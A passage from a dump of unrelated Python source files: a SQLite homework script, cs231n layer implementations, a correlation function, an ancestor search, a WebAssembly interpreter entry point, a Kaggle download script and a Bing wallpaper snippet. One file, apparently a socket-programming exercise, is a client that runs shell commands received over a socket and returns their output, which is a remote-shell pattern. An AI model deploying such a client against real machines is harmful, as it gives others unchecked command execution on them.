filtered_film\r\n\r\ncreate_ = \"\"\" CREATE TABLE IF NOT EXISTS filtered_film_ (\r\n id integer PRIMARY KEY,\r\n title text,\r\n description text,\r\n release_year integer,\r\n rate real,\r\n length integer,\r\n special_features text\r\n ); \"\"\"\r\n\r\n\r\ncursor.execute(create_)\r\nconnect.commit()\r\n\r\ndef add_film(values):\r\n\tadd_ = \"\"\"INSERT OR IGNORE INTO filtered_film_(id, title, description, release_year, rate, length, special_features)\r\n \t VALUES(?,?,?,?,?,?,?);\r\n\t \"\"\"\r\n\tcursor.execute(add_, values)\r\n\tconnect.commit()\r\n\r\nfor film_list in selected_data:\r\n\tif float(film_list[4]) >= 3 and float(film_list[4]) <= 5 and film_list[3] > 2010:\r\n\t\tadd_film(tuple(film_list))","sub_path":"Homework10.py","file_name":"Homework10.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"619048607","text":"import numpy as np\n\ndef affine_forward(x, w, b):\n \"\"\"\n Computes the forward pass for an affine (fully-connected) layer.\n \n The input x has shape (N, d_1, ..., d_k) and contains a minibatch of N examples, where each example x[i] has\n shape (d_1, ..., d_k). We will reshape each input into a vector fo dimension D = d_1 * ... * d_k, and then\n transform it to an output vector of dimension M.\n \n Inputs:\n - x: A numpy array containing input data, of shape (N, d_1, ..., d_k)\n - w: A numpy array of weights, of shape (D, M)\n - b: A numpy array of biases, of shape (M, )\n \n Return a tuple of:\n - out: output of shape (N, M)\n - cache: (x, w, b)\n \"\"\"\n out = None\n \n N = x.shape[0]\n out = x.reshape(N, np.prod(x.shape[1:])).dot(w) + b\n \n cache = (x, w, b)\n return out, cache\n\n\ndef affine_backward(dout, cache):\n \"\"\"\n Computes the backward pass for an affine layer.\n \n Inputs:\n - dout: UPstream derivative, of shape (N, M)\n - cache: Tuple of:\n - x: Input data, of shape (N, d_1, ..., d_k)\n - w: Weights, of shape (D, M)\n \n Returns a tuple of:\n - dx: Gradient with respect to x, of shape (N, d_1, ..., d_k)\n - dw: Gradient with respect to w, of shape (D, M)\n - db: Gradient with respect to b, of shape (M, )\n \"\"\"\n \n x, w, b = cache\n dx, dw, db = None, None, None\n \n N = x.shape[0]\n dx = dout.dot(w.T).reshape(x.shape)\n dw = x.reshape(N, np.prod(x.shape[1:])).T.dot(dout)\n db = np.sum(dout, axis = 0)\n \n return dx, dw, db\n\n\ndef relu_forward(x):\n \"\"\"\n Computes the forward pass for a layer of rectified linear units (ReLUs).\n \n Inputs:\n - x: Inputs, of any shape.\n \n Returns a tuple of:\n - out: Output, of the same shape as x.\n - cache: x.\n \"\"\"\n out = None\n \n out = x * (x > 0)\n \n cache = x\n return out, cache\n\n\ndef relu_backward(dout, cache):\n \"\"\"\n Conputes the backward pass for a layer of rectified linear units (ReLUs).\n \n Inputs:\n - dout: Upstream derivatives, of any shape.\n - cache: Input x, of same shape as dout.\n \n Returns:\n - dx: Gradient with respect to x.\n \"\"\"\n dx, x = None, cache\n \n dx = dout * (x > 0)\n \n return dx\n\n\ndef batchnorm_forward(x, gamma, beta, bn_param):\n \"\"\"\n Forward pass for batch normalization.\n \n During training the sample mean and (uncorrected) sample variance are computed from minibatch statistics and used to \n normalize the incoming data. During training we alse keep an exponentially decaying running mean of the mean and variance \n of each feature, and these averages are used to normalize data at test-time.\n \n At each timestep we update the running averages for mean and variance using an exponential decay based on the momentum \n parameter:\n \n running_mean = momentum * running_mean + (1 - momentum) * sample_mean\n running_var = momentum * running_var + (1 - momentum) * sample_var\n \n Note that the batch normalization paper suggests a different test-time behavior: they compute sample mean and variance for \n each feature using a large number of training images rather than using a running average. For this implementaion we have \n chosen to use running averages instead since they do not require an additional estimation step; the torch7 implementaion \n of batch normalization also uses running averages.\n \n Input:\n - x: Data of shape (N, D) \n - gamma: Scale parameter of shape (D, )\n - beta: Shift parameter of shape (D, )\n - bn_param: Dictionary with the following keys:\n - mode: 'train' or 'test'; required\n - eps: Constant for numeric stability\n - momentum: Constant for running / variance.\n - running_mean: Array of shape (D, ) giving running mean of features\n - running_var: Array of shape (D, ) giving running variance of features\n \n Returns a tuple of:\n - out: of shape (N, D)\n - cache: A tuple of values needed in the backward pass\n \"\"\"\n mode = bn_param['mode']\n eps = bn_param.get('eps', 1e-5)\n momentum = bn_param.get('momentum', 0.9)\n N, D = x.shape\n running_mean = bn_param.get('running_mean', np.zeros(D, dtype = x.dtype))\n running_var = bn_param.get('running_var', np.zeros(D, dtype = x.dtype))\n \n out, cache = None, None\n if mode == 'train':\n sample_mean = np.mean(x, axis = 0)\n sample_var = np.var(x, axis = 0)\n x_norm = (x - sample_mean) / np.sqrt(sample_var + eps)\n out = gamma * x_norm + beta\n \n running_mean = momentum * running_mean + (1 - momentum) * sample_mean\n running_var = momentum * running_var + (1 - momentum) * sample_var\n cache = (x, x_norm, sample_mean, sample_var, gamma, beta, eps)\n \n elif mode == 'test':\n x_norm = (x - running_mean) / np.sqrt(running_var + eps)\n out = gamma * x_norm + beta\n \n else:\n raise ValueError('Invalid forward batchnorm mode \"%s\"' % mode)\n \n # Store the updated running means bach into bn_param\n bn_param['running_mean'] = running_mean\n bn_param['running_var'] = running_var\n \n return out, cache\n\n\ndef batchnorm_backward(dout, cache):\n \"\"\"\n Backward pass for batch normalization.\n \n For this implementation, you should write out a computation graph for batch normalization on paper and propagate gradients \n backward through internediate nodes.\n \n Inputs:\n - dout: Upstream derivatives, of shape (N, D);\n - cache: Variable of intermediates from batchnorm_forward.\n \n Returns a tupe of:\n - dx: Gradient with respect to inputs x, of shape (N, D)\n - dgamma: Gradient with respect to scale parameter gama, of shape (D, )\n - dbeta: Gradient with respect to shift parameter beta, of shape (D, )\n \"\"\"\n dx, dgamma, dbeta = None, None, None\n \n x, x_norm, sample_mean, sample_var, gamma, beta, eps = cache\n N = x.shape[0]\n \n dgamma = np.sum(dout * x_norm, axis = 0)\n dbeta = np.sum(dout, axis = 0)\n dx_norm = dout * gamma\n dsample_var = -0.5 * (sample_var + eps) ** (-3 / 2) * np.sum((x - sample_mean) * dx_norm, axis = 0)\n dsample_mean = -np.sum(dx_norm, axis = 0) / np.sqrt(sample_var + eps) - \\\n 2 * dsample_var * np.sum(x - sample_mean, axis = 0) / N\n dx = dx_norm / np.sqrt(sample_var + eps) + dsample_mean / N + 2 * (x - sample_mean) * dsample_var / N\n \n return dx, dgamma, dbeta\n\n\ndef batchnorm_backward_alt(dout, cache):\n \"\"\" \n Alternativer backward pass for batch normalization.\n \n For this implementation you should work out the derivatives for the batch normalization backward pass on paper and simplify \n as much as possible. You should be able to derive a simple expression for the backward pass.\n \n Note: This implementation should expect to receive the same cache variabel as batchnorm_backward, bat might not use all the \n values in the cache.\n \n Inputs / outputs: Same as batchnorm_backward\n \"\"\"\n dx, dgamma, dbeta = None, None, None\n \n x, x_norm, sample_mean, sample_var, gamma, beta, eps = cache\n N = x.shape[0]\n \n dgamma = np.sum(dout * x_norm, axis = 0)\n dbeta = np.sum(dout, axis = 0)\n dx_norm = dout * gamma\n dsample_var = -0.5 * np.sum(x_norm * dx_norm, axis = 0) / (sample_var + eps)\n dsample_mean = -np.sum(dx_norm, axis = 0) / np.sqrt(sample_var + eps)\n dx = dx_norm / np.sqrt(sample_var + eps) + dsample_mean / N + 2 * (x - sample_mean) * dsample_var / N\n \n return dx, dgamma, dbeta\n\n\ndef dropout_forward(x, dropout_param):\n \"\"\"\n Performs the forward pass for (inverted) dropout.\n \n Inputs:\n - x: Input data, of any shape.\n - dropout_param: A dictionary with the following keys:\n - p: Dropout parameter. We drop each neuron output with probability p.\n - mode: 'test' or 'train'. If the mode if train, then perform dropout; if the mode is test, then just return the input.\n - seed: Seed for the random number generator. Passing seed makes this function deterministic, which is needed for \n gradient checking but not in real networks.\n \n Outputs:\n - out: Array of the shapel as x.\n - cache: A tuple (dropout_param, mask). In training mode, mask is the dropout mask that was used to multiply the input; in\n the test mode, mask is None.\n \"\"\"\n p, mode = dropout_param['p'], dropout_param['mode']\n if 'seed' in dropout_param:\n np.random.seed(dropout_param['seed'])\n \n mask = None\n out = None\n \n if mode == 'train':\n mask = (np.random.rand(*x.shape) < p) / p\n out = mask * x\n elif mode == 'test':\n out = x\n \n cache = (dropout_param, mask)\n out = out.astype(x.dtype, copy = False)\n \n return out, cache\n\n\ndef dropout_backward(dout, cache):\n \"\"\"\n Perform the backward pass for (inverted) dropout.\n \n Inputs:\n - dout: Upstream derivatives, of any shape.\n - cache: (dropout_param, mask) from dropout_forward.\n \"\"\"\n dropout_param, mask = cache\n mode = dropout_param['mode']\n \n dx = None\n if mode == 'train':\n dx = mask * dout\n elif mode == 'test':\n dx = dout\n \n return dx\n\n\ndef conv_forward_naive(x, w, b, conv_param):\n \"\"\"\n A naive implementation of the forward pass for a convolutional layer.\n \n The input consists of N data points, each C channels, height H and width W. We convolve each input with F different filters, \n where each filter spans all C channels and has height HH and width WW.\n \n Inputs:\n - x: Input data of shape (N, C, H, W);\n - w: Filter weights of shape (F, C, HH, WW);\n - b: Biases, of shape (F, )\n - conv_param: A dictionary with the following keys:\n - 'stride': The number of pixels between adjacent receptive fields in the horizontal and vertical directions.\n - 'pad': The number of pixels that will be used to zero-pad the input.\n \n Returns a tuple of:\n - out: Output data, of shape (N, F, H', W') where H' and W' are given by\n H' = 1 + (H + 2 * pad - HH) / stride\n W' = 1 + (W + 2 * pad - WW) / stride\n - cache: (x, w, b, conv_param)\n \"\"\"\n out = None\n N, C, H, W = x.shape\n F, _, HH, WW = w.shape\n stride, pad = conv_param['stride'], conv_param['pad']\n x_pad = np.lib.pad(x, ((0, 0), (0, 0), (pad, pad), (pad, pad)), 'constant', constant_values = 0)\n H_out = 1 + (H + 2 * pad - HH) // stride\n W_out = 1 + (W + 2 * pad - WW) // stride\n out = np.zeros((N, F, H_out, W_out))\n for i in range(H_out):\n for j in range(W_out):\n x_cal = x_pad[:, :, i * stride: i * stride + HH, j * stride: j * stride + WW]\n for k in range(F):\n out[:, k, i, j] = np.sum(w[k, :, :, :] * x_cal, axis = (1, 2, 3)) + b[k]\n \n cache = (x, w, b, conv_param)\n return out, cache\n\n\ndef conv_backward_naive(dout, cache):\n \"\"\"\n A naive implementation of the backward pass for a convolutional layer.\n \n Inputs:\n - dout: Upstream derivatives.\n - cache: A tuple of (x, w, b, conv_param) as in conv_forward_naive\n \n Returns a tuple of:\n - dx: Gradient with respect to x\n - dw: Gradient with respect to w\n - db: Gradient with respect to b\n \"\"\"\n dx, dw, db = None, None, None\n x, w, b, conv_param = cache\n stride, pad = conv_param['stride'], conv_param['pad']\n x_pad = np.lib.pad(x, ((0, 0), (0, 0), (pad, pad), (pad, pad)), 'constant', constant_values = 0)\n N, C, H, W = x.shape\n F, _ , HH, WW = w.shape\n _, _, H_out, W_out = dout.shape\n dx = np.zeros_like(x_pad)\n dw = np.zeros_like(w)\n db = np.sum(dout, axis = (0, 2, 3))\n for i in range(H_out):\n for j in range(W_out):\n x_cal = x_pad[:, :, i * stride: i * stride + HH, j * stride: j * stride + WW]\n for k in range(F):\n dw[k, :, :, :] += np.sum(x_cal * dout[:, k, i, j].reshape(N, 1, 1, 1), axis = 0)\n dx[:, :, i * stride: i * stride + HH, j * stride: j * stride + WW] += \\\n w[k, :, :, :] * dout[:, k, i, j].reshape(N, 1, 1, 1)\n dx = dx[:, :, pad:-pad, pad:-pad]\n return dx, dw, db\n\n\ndef max_pool_forward_naive(x, pool_param):\n \"\"\"\n A naive implementation of the forward pass for a max pooling layer.\n \n Inputs:\n - x: Input data, of shape (N, C, H, W).\n - pool_param: dictionary with the following keys:\n - 'pool_height': The height of each pooling region.\n - 'pool_width': The width of each pooling region.\n - 'stride': The distance between adjacent pooling regions.\n \n Returns a tuple of:\n - out: Output data\n - cache: (x, pool_param)\n \"\"\"\n N, C, H, W = x.shape\n pool_height, pool_width, stride = pool_param['pool_height'], pool_param['pool_width'], pool_param['stride']\n H_out = (H - pool_height) // stride + 1\n W_out = (W - pool_width) // stride + 1\n out = np.zeros((N, C, H_out, W_out))\n for i in range(H_out):\n for j in range(W_out):\n x_cal = x[:, :, i * stride: i * stride + pool_height, j * stride: j * stride + pool_width]\n out[:, :, i, j] = np.max(x_cal, axis = (2, 3))\n cache = (x, pool_param)\n return out, cache\n\n\ndef max_pool_backward_naive(dout, cache):\n \"\"\"\n A naive implementation of the backward pass for a max pooling layer.\n \n Inputs:\n - dout: Upstream derivatives\n - cache: A tuple of (x, pool_param) as in the forward pass.\n \n Returns:\n - dx: Gradient with respect to x.\n \"\"\"\n x, pool_param = cache\n N, C, H, W = x.shape\n pool_height, pool_width, stride = pool_param['pool_height'], pool_param['pool_width'], pool_param['stride']\n _, _, H_out, W_out = dout.shape\n dx = np.zeros_like(x)\n for i in range(H_out):\n for j in range(W_out):\n for n in range(N):\n for k in range(C):\n x_cal = x[n, k, i * stride: i * stride + pool_height, j * stride: j * stride + pool_width]\n mask = np.unravel_index(np.argmax(x_cal), x_cal.shape)\n dx[n, k, i * stride + mask[0], j * stride + mask[1]] = dout[n, k, i, j]\n return dx\n\n\ndef spatial_batchnorm_forward(x, gamma, beta, bn_param):\n \"\"\"\n Computes the forward pass for spatial batch normalization.\n \n Inputs:\n - x: Input data of shape (N, C, H, W)\n - gamma: Scale parameter, of shape (C, )\n - beta: Shift parameter, of shape (C, )\n - bn_param: Dictionary with the following keys:\n - mode: 'train' or 'test'; required\n - eps: Constant for numeric stability\n - momentum: Constant for running mean / variance. momentum = 0 means that old information is discarded completely at every \n time step, while momentum = 1 means that new information is never incorporated. The default of momentum = 0.9 should \n work well in most situations.\n - running_mean: Array of shape (C, ) giving running mean of features\n - running_var: Array of shape (C, ) giving running variance of features\n \n Returns a tuple of:\n - out: Output data, of shape (N, C, H, W)\n - cache: Values needed for the backwars pass\n \"\"\"\n N, C, H, W = x.shape\n out_reshaped, cache = batchnorm_forward(x.transpose(0, 2, 3, 1).reshape(-1, C), gamma, beta, bn_param)\n out = out_reshaped.reshape(N, H, W, C).transpose(0, 3, 1, 2)\n return out, cache\n\n\ndef spatial_batchnorm_backward(dout, cache):\n \"\"\"\n Computes the backward pass for spatial batch normalization.\n \n Inputs:\n - dout: Upstream derivatives, of shape (H, C, H, W)\n - cache: Valuese from the forward pass\n \n Returns a tuple of:\n - dx: Gradient with respect to inputs, of shape (N, C, H, W)\n - dgamma: Gradient with respect to scale parameter, of shape (C, )\n - dbeta: Gradient with respect to shift parameter, of shape (C, )\n \"\"\"\n N, C, H, W = dout.shape\n dx_reshaped, dgamma, dbeta = batchnorm_backward_alt(dout.transpose(0, 2, 3, 1).reshape(-1, C), cache)\n dx = dx_reshaped.reshape(N, H, W, C).transpose(0, 3, 1, 2)\n return dx, dgamma, dbeta\n\n\n\n\n\ndef svm_loss(x, y):\n \"\"\"\n Compute the loss and gradeint using for multiclass SVM classification. \n \n Inputs:\n - x: Input data, of shape (N, C) where x[i, j] is the score for the jth class for the ith input.\n - y: Vector of labels, of shape (N, ) where y[i] is the label for x[i] and 0 <= y[i] < C\n \n Returns a tuple of :\n - loss: Scalar giving the loss.\n - dx: Gradient of the loss with respect to x.\n \"\"\"\n N = x.shape[0]\n correct_class_scores = x[np.arange(N), y]\n margins = np.maximum(0, x - correct_class_scores[:, np.newaxis] + 1.0)\n margins[np.arange(N), y] = 0\n loss = np.sum(margins) / N\n num_pos = np.sum(margins > 0, axis = 1)\n dx = np.zeros_like(x)\n dx[margins > 0] = 1\n dx[np.arange(N), y] -= num_pos\n dx /= N\n return loss, dx\n\n\ndef softmax_loss(x, y):\n \"\"\"\n Computes the loss and gradient for softmax classification.\n \n Inputs:\n - x: Input data, of shape (N, C) where x[i, j] is the score for the jth classes for the ith input.\n - y: Vector of labels, of shape (N, ) where y[i] is the label for x[i] and 0 <= y[i] < C.\n \n Returns a tuple of:\n - loss: Scalar giving the loss.\n - dx: Gradient of the loss with respect to x.\n \"\"\"\n probs = np.exp(x - np.max(x, axis = 1, keepdims = True))\n probs /= np.sum(probs, axis = 1, keepdims = True)\n N = x.shape[0]\n loss = -np.sum(np.log(probs[np.arange(N), y])) / N\n dx = probs.copy()\n dx[np.arange(N), y] -= 1\n dx /= N\n return loss, dx","sub_path":"assignment2/cs231n/layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":17596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"237992719","text":"import pandas as pd\nimport numpy as np\nfrom os import path, listdir\n\ndef cor(directory, threshold=0):\n \"\"\"\n ## 'directory' is a character vector of length 1 indicating\n ## the location of the CSV files\n\n ## 'threshold' is a numeric vector of length 1 indicating the\n ## number of completely observed observations (on all\n ## variables) required to compute the correlation between\n ## nitrate and sulfate; the default is 0\n\n ## Return a numeric vector of correlations\n ## NOTE: Do not round the result!\n \"\"\"\n files = listdir(directory)\n files.sort()\n ret = pd.Series(None, dtype=np.float32)\n for ipf in files:\n ipfName = path.join(directory, ipf)\n if path.isfile(ipfName):\n data = pd.read_csv(ipfName)\n data = data.dropna()\n if len(data) >= threshold:\n nitrate = data['nitrate']\n sulfate = data['sulfate']\n ret.set_value(files.index(ipf)+1, nitrate.corr(sulfate))\n\n return ret\n \n\n \n","sub_path":"R_Programming/ProgrammingAssignment1/corr.py","file_name":"corr.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"403481776","text":"\n# Write a function that, given the dataset and the ID\n# of an individual in the dataset, returns their earliest known ancestor\n# – the one at the farthest distance from the input individual. \n# If there is more than one ancestor tied for \"earliest\", return the \n# one with the lowest numeric ID. If the input individual has no parents, \n# the function should return -1.\n\n#set starting_node?\n#if higher number return lowest value\n#if 0 return -1\n\n\nclass Queue():\n def __init__(self):\n self.queue = []\n def enqueue(self, value):\n self.queue.append(value)\n def dequeue(self):\n if self.size() > 0:\n return self.queue.pop(0)\n else:\n return None\n def size(self):\n return len(self.queue)\n\nclass Stack():\n def __init__(self):\n self.stack = []\n def push(self, value):\n self.stack.append(value)\n def pop(self):\n if self.size() > 0:\n return self.stack.pop()\n else:\n return None\n def size(self):\n return len(self.stack)\n\n\ndef earliest_ancestor(ancestors, starting_node):\n # pass\n\n q = Queue() # Create an empty queue\n\n p = [starting_node] #first node to path\n\n q.enqueue(p) # Init: enqueue the starting\n\n while q.size() > 0: # While the queue isn't empty\n curr = q.dequeue() # Dequeue the first item\n\n newish = []\n change = False #boolean variable set to false\n\n for node in curr: #loop through each node in the current path\n for ancestor in ancestors: #checking for each ancestor \n if ancestor[-1] == node: #if last matches node \n newish.append(ancestor[0]) #add the ancestor, added to first spot\n change = True #change is true because ancestor exists\n q.enqueue(newish) # Init: enqueue the new path\n\n if change is False: #if hasnt changed // no ancestor \n if curr[0] == starting_node: #if current path matches starting node // has no ancestor since first\n return -1 #no parents\n else:\n return curr[0] #is an ancestor and will be returned\n\nif __name__ == '__main__':\n test_ancestors = [(1, 3), (2, 3), (3, 6), (5, 6), (5, 7), (4, 5), (4, 8), (8, 9), (11, 8), (10, 2)]\n print(earliest_ancestor(test_ancestors, 6))","sub_path":"projects/ancestor/ancestor.py","file_name":"ancestor.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"152440664","text":"#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: HuRuiFeng\n@file: Main.py\n@time: 2020/8/18 16:23\n@desc: 主函数\n\"\"\"\nimport os\nfrom optparse import OptionParser\n\nfrom ch05 import binary\nfrom ch05.cmd.dumper import dump\nfrom ch05.interpreter.vm import exec_main_func\n\n\ndef main(input_args):\n # 设置传入参数\n parser = OptionParser(usage=\"usage:%prog [-d] filename\")\n\n parser.add_option(\"-d\", \"--dump\", action=\"store_true\", default=False, dest=\"dump_flag\",\n help=\"dump Wasm file.\")\n # 解析参数\n (options, args) = parser.parse_args(input_args)\n module, err = binary.decode_file(args[0])\n\n if err is not None:\n raise err\n\n if options.dump_flag:\n dump(module)\n else:\n exec_main_func(module)\n\n\nif __name__ == '__main__':\n # 打印帮助\n # fake_args = ['-h']\n # main(fake_args)\n\n # 使用输入参数测试\n root_path = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir))\n file_name = os.path.join(os.path.dirname(root_path), \"..\\\\wat\", \"ch05_param.wasm\")\n # file_name = os.path.join(os.path.dirname(root_path), \"../wat\", \"ch05_num.wasm\")\n fake_args = [file_name]\n print(\"main.py\", *fake_args, end='\\n\\n')\n main(fake_args)\n","sub_path":"src/ch05/cmd/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"305748017","text":"import socket\n\nimport subprocess\n\nck=socket.socket()\nck.connect(('127.0.0.1',10070))\nwhile True:\n cmd=ck.recv(1024).decode('utf-8')\n if cmd=='q':\n break\n res=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)#管道中的数据只能取一次类似队列\n res_stdout=res.stdout.read()\n res_stderr=res.stderr.read()\n ck.send(str(len(res_stdout)+len(res_stderr)).encode('utf-8'))\n slen=(ck.recv(1024))\n if slen:\n ck.send(res_stdout)\n ck.send(res_stderr)\nck.close()\n\n# 好处 确定了我到底要接受多大的数据\n# 坏处 多了一次交互 网络延迟","sub_path":"day32/day32bc.py","file_name":"day32bc.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"475500868","text":"import os\r\nimport json\r\nimport requests\r\nfrom multiprocessing import Process\r\nimport time\r\n\r\nfrom utils.AppsHelper import KaggleApp\r\nfrom fetch.single import ConcurrentDownload, DownloadFile\r\nfrom appsettings import COMPETITION_NAME,\\\r\n ROOT_DATA_DIR, COMPETITION_DATA,\\\r\n COMPETITION_FILE_LIST, TEST_DATA,\\\r\n TRAIN_DATA, VAL_DATA, IMAGE_PATH,\\\r\n LABEL_FILE\r\n\r\n\r\ndef VerifyKaggleData(app):\r\n assert isinstance(app, KaggleApp)\r\n if not app.check_data_dir(ROOT_DATA_DIR):\r\n return False\r\n if not app.check_data_dir(os.path.join(ROOT_DATA_DIR, COMPETITION_DATA)):\r\n return False\r\n comp_datadir_path = os.path.join(app.data_dir,\r\n ROOT_DATA_DIR,\r\n COMPETITION_DATA)\r\n flist_df = app.getCompetitionFileList(os.path.join(comp_datadir_path, COMPETITION_FILE_LIST))\r\n for name in flist_df['name']:\r\n if not os.path.isfile(os.path.join(comp_datadir_path, name)):\r\n app.downloadCompetitionFiles(comp_datadir_path, name)\r\n if not os.path.isfile(os.path.join(comp_datadir_path, name)):\r\n return False\r\n app.extractCompetitionFiles(comp_datadir_path, name)\r\n return True\r\n\r\n\r\ndef readKaggleFiles(cdata_location):\r\n # dataset\r\n test_dataset = \"test.json\"\r\n train_dataset = \"train.json\"\r\n validation_dataset = \"validation.json\"\r\n\r\n with open(os.path.join(cdata_location, train_dataset)) as fp:\r\n train_json = json.loads(fp.read())\r\n with open(os.path.join(cdata_location, test_dataset)) as fp:\r\n test_json = json.loads(fp.read())\r\n with open(os.path.join(cdata_location, validation_dataset)) as fp:\r\n validation_json = json.loads(fp.read())\r\n\r\n return test_json, train_json, validation_json\r\n\r\n\r\ndef VerifyFetchImageFiles(json_data, download_path):\r\n download_threads = []\r\n for image_info in json_data['images']:\r\n url = image_info['url']\r\n imageId = image_info['imageId']\r\n #print(url, imageId, download_path)\r\n if not os.path.isfile(os.path.join(download_path, str(imageId))):\r\n (url, download_path, str(imageId))\r\n \"\"\"\r\n p = ConcurrentDownload(url, download_path, str(imageId))\r\n if p is not None:\r\n download_threads.append(p)\r\n WaitProcs(download_threads)\r\n \"\"\"\r\n\r\n\r\ndef WaitProcs(procs, timeout=0):\r\n while len(procs) != 0:\r\n print(\"current active procs \", len(procs))\r\n rmproc = []\r\n for p in procs:\r\n if not p.is_alive():\r\n rmproc.append(p)\r\n for rmp in rmproc:\r\n procs.remove(rmp)\r\n time.sleep(900)\r\n\r\n\r\ndef FastDownload(json_data, download_path, start, end):\r\n s = requests.Session()\r\n lcount = 0\r\n for image_info in json_data['images'][start:end]:\r\n url = image_info['url']\r\n imageId = image_info['imageId']\r\n if os.path.isfile(os.path.join(download_path, str(imageId))):\r\n continue\r\n r = s.get(url)\r\n\r\n\r\n with open(os.path.join(download_path, str(imageId)), 'wb') as fp:\r\n fp.write(r.content)\r\n s.close()\r\n\r\n\r\ndef FasterDownload(json_data, download_path, procs, s, e, q, fs):\r\n start = s\r\n end = e\r\n fullstop = fs\r\n quantom = q\r\n proc_list = []\r\n for i in range(procs):\r\n p = Process(target=FastDownload, args=(json_data, download_path, start, end))\r\n print(\"starting procs for \", start, end)\r\n p.start()\r\n proc_list.append(p)\r\n start = end\r\n end = end + quantom\r\n if end > fullstop:\r\n end = fullstop-1\r\n WaitProcs(proc_list)\r\n\r\ndef VerifyCreateLabels(json_data, labelfile):\r\n if not os.path.isfile(labelfile):\r\n fp = open(labelfile, \"w\")\r\n fp.write(\"id,predicted\\n\")\r\n for label_info in json_data['annotations']:\r\n fp.write(str(label_info['imageId']) + \",\")\r\n for label in label_info['labelId']:\r\n fp.write(str(label) + \" \")\r\n fp.write(\"\\n\")\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n appname = COMPETITION_NAME + \"_preprocessing\"\r\n print(\"starting preprocessing for : \" + COMPETITION_NAME)\r\n application = KaggleApp(appname, COMPETITION_NAME)\r\n applogger = application.getLogger()\r\n\r\n applogger.info(\"instance ID : %s\", application.instanceid)\r\n applogger.info(\"instance name : %s\", application.appname)\r\n\r\n if not application.check_data_dir():\r\n applogger.error(\"not able to create/locate data directory\")\r\n application.quick_exit()\r\n\r\n # main logic\r\n applogger.info('verifying kaggle data')\r\n if not VerifyKaggleData(application):\r\n applogger.error('competition data is not available')\r\n applogger.error('Please download manually')\r\n\r\n applogger.info('creating essential directories')\r\n root_datadir_path = os.path.join(application.data_dir,\r\n ROOT_DATA_DIR)\r\n comp_datadir_path = os.path.join(application.data_dir,\r\n ROOT_DATA_DIR,\r\n COMPETITION_DATA)\r\n\r\n applogger.info('reading competition data from json files')\r\n test_json, train_json, validation_json = readKaggleFiles(comp_datadir_path)\r\n\r\n \"\"\"\r\n applogger.info('fetching images from test dataset')\r\n test_data_path = os.path.join(root_datadir_path, TEST_DATA, IMAGE_PATH)\r\n if application.check_any_dir(test_data_path):\r\n VerifyFetchImageFiles(test_json, test_data_path)\r\n\r\n applogger.info('fetching images from train dataset')\r\n train_data_path = os.path.join(root_datadir_path, TRAIN_DATA, IMAGE_PATH)\r\n if application.check_any_dir(train_data_path):\r\n VerifyFetchImageFiles(train_json, train_data_path)\r\n\r\n applogger.info('fetching images from validation dataset')\r\n val_data_path = os.path.join(root_datadir_path, VAL_DATA, IMAGE_PATH)\r\n if application.check_any_dir(val_data_path):\r\n VerifyFetchImageFiles(validation_json, val_data_path)\r\n \"\"\"\r\n train_data_path = os.path.join(root_datadir_path, TRAIN_DATA, IMAGE_PATH)\r\n test_data_path = os.path.join(root_datadir_path, TEST_DATA, IMAGE_PATH)\r\n val_data_path = os.path.join(root_datadir_path, VAL_DATA, IMAGE_PATH)\r\n #FastDownload(train_json, train_data_path)\r\n\r\n nprocs = 4\r\n fs = len(train_json['images'])\r\n e = (fs // nprocs ) + 1000\r\n FasterDownload(train_json, train_data_path, nprocs, 0, e, e, fs)\r\n\r\n \r\n nprocs = 4\r\n fs = len(test_json['images'])\r\n e = (fs // nprocs ) + 1000\r\n FasterDownload(test_json, test_data_path, nprocs, 0, e, e, fs)\r\n\r\n nprocs = 4\r\n fs = len(validation_json['images'])\r\n e = (fs // nprocs ) + 1000\r\n FasterDownload(validation_json, val_data_path, nprocs, 0, e, e, fs)\r\n\r\n applogger.info('creating label files')\r\n train_label_file = os.path.join(root_datadir_path, TRAIN_DATA, LABEL_FILE)\r\n VerifyCreateLabels(train_json, train_label_file)\r\n val_label_file = os.path.join(root_datadir_path, VAL_DATA, LABEL_FILE)\r\n VerifyCreateLabels(validation_json, val_label_file)\r\n\r\n # exit after doing proper cleanup\r\n","sub_path":"competitions/imaterialist-challenge-fashion-2018/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"480401157","text":"# 下载并存储必应每日壁纸到指定位置\n\nimport time\nimport os\nimport urllib.request\nimport requests\nimport datetime\n\nvalid_mkt = ['ar-XA', 'bg-BG', 'cs-CZ', 'da-DK', 'de-AT',\n 'de-CH', 'de-DE', 'el-GR', 'en-AU', 'en-CA', 'en-GB', 'en-ID',\n 'en-IE', 'en-IN', 'en-MY', 'en-NZ', 'en-PH', 'en-SG', 'en-US',\n 'en-XA', 'en-ZA', 'es-AR', 'es-CL', 'es-ES', 'es-MX', 'es-US',\n 'es-XL', 'et-EE', 'fi-FI', 'fr-BE', 'fr-CA', 'fr-CH', 'fr-FR',\n 'he-IL', 'hr-HR', 'hu-HU', 'it-IT', 'ja-JP', 'ko-KR', 'lt-LT',\n 'lv-LV', 'nb-NO', 'nl-BE', 'nl-NL', 'pl-PL', 'pt-BR', 'pt-PT',\n 'ro-RO', 'ru-RU', 'sk-SK', 'sl-SL', 'sv-SE', 'th-TH', 'tr-TR',\n 'uk-UA', 'zh-CN', 'zh-HK', 'zh-TW']\n\nvalid_mkt = [mkt.upper() for mkt in valid_mkt]\n\n\n\n\n\n# 这段推倒重写,使用python logger 